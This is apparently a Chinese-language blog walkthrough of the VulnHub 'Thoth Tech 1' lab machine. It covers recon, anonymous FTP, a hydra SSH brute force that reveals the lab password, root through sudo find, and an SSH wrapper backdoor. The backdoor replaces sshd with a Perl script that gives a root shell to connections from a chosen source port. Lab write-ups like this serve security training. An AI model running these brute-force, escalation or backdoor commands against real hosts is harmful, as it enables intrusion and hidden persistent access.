靶机下载地址:https://www.vulnhub.com/entry/thoth-tech-1,734/
教程链接地址: https://blog.csdn.net/qq_39991837/article/details/119944937

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 THOTH:桥接于 192.168.31.1 的网卡,ip 未知

1)arp 确定靶机地址
sudo arp-scan -l

Image

-> 目标机器的 ip 地址: 192.168.31.229

  1. 确认靶机 ip 开放的端口信息
    sudo nmap -A -p- 192.168.31.229 -oN /tmp/thoth.txt
Image

-> 靶机开放端口 21, 22, 80

# FTP 匿名登陆

1
2
3
# 利用用户ftp和空密码登陆到ftp查看有没有敏感文件
ftp 192.168.31.229
dir && get note.txt

-> 得到提示是 pwnlab 是该服务器的某一个用户,并且密码比较简单

# 目录扫描

80 网站信息收集,是个默认的 apache 界面

dirsearch -u http://192.168.31.229

Image

gobuster dir -u http://192.168.31.229/ -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Image

-> gobuster 扫描后并没有什么发现

# hydra 爆破 SSH

1
2
# hydra 爆破可疑用户 pwdlab 的密码登陆ssh
hydra -l pwnlab -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.229 -f -t 4 -vV -o hydra.ssh

-> 账户:pwnlab 密码:babygirl1

1
2
3
4
5
# 登陆服务器
ssh pwnlab@192.168.31.229

# 收集服务器信息:
cat /etc/issue && uname -a && sudo -l

# sudo (find) 提权

发现可以直接通过无密码调用 root 权限的 find
寻找提权命令:https://gtfobins.github.io/gtfobins/find/
sudo find. -exec /bin/sh \; -quit

Image

-> 直接提升成了 root 账户

# SSH wrapper 维权

参考地址:https://bypass007.github.io/Emergency-Response-Notes/privilege/
从 sshd fork 出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

1
2
3
4
5
6
7
8
9
# 靶机上依次执行一下命令:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
Service ssh restart

1
2
3
4
# 攻击机执行以下命令
socat STDIO TCP4:192.168.31.229:22,sourceport=13377
python3 -c "import pty;pty.spawn('/bin/bash')"
stty raw -echo;

-> ssh wrapper 权限维持成功,可免密登陆 root 账户

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝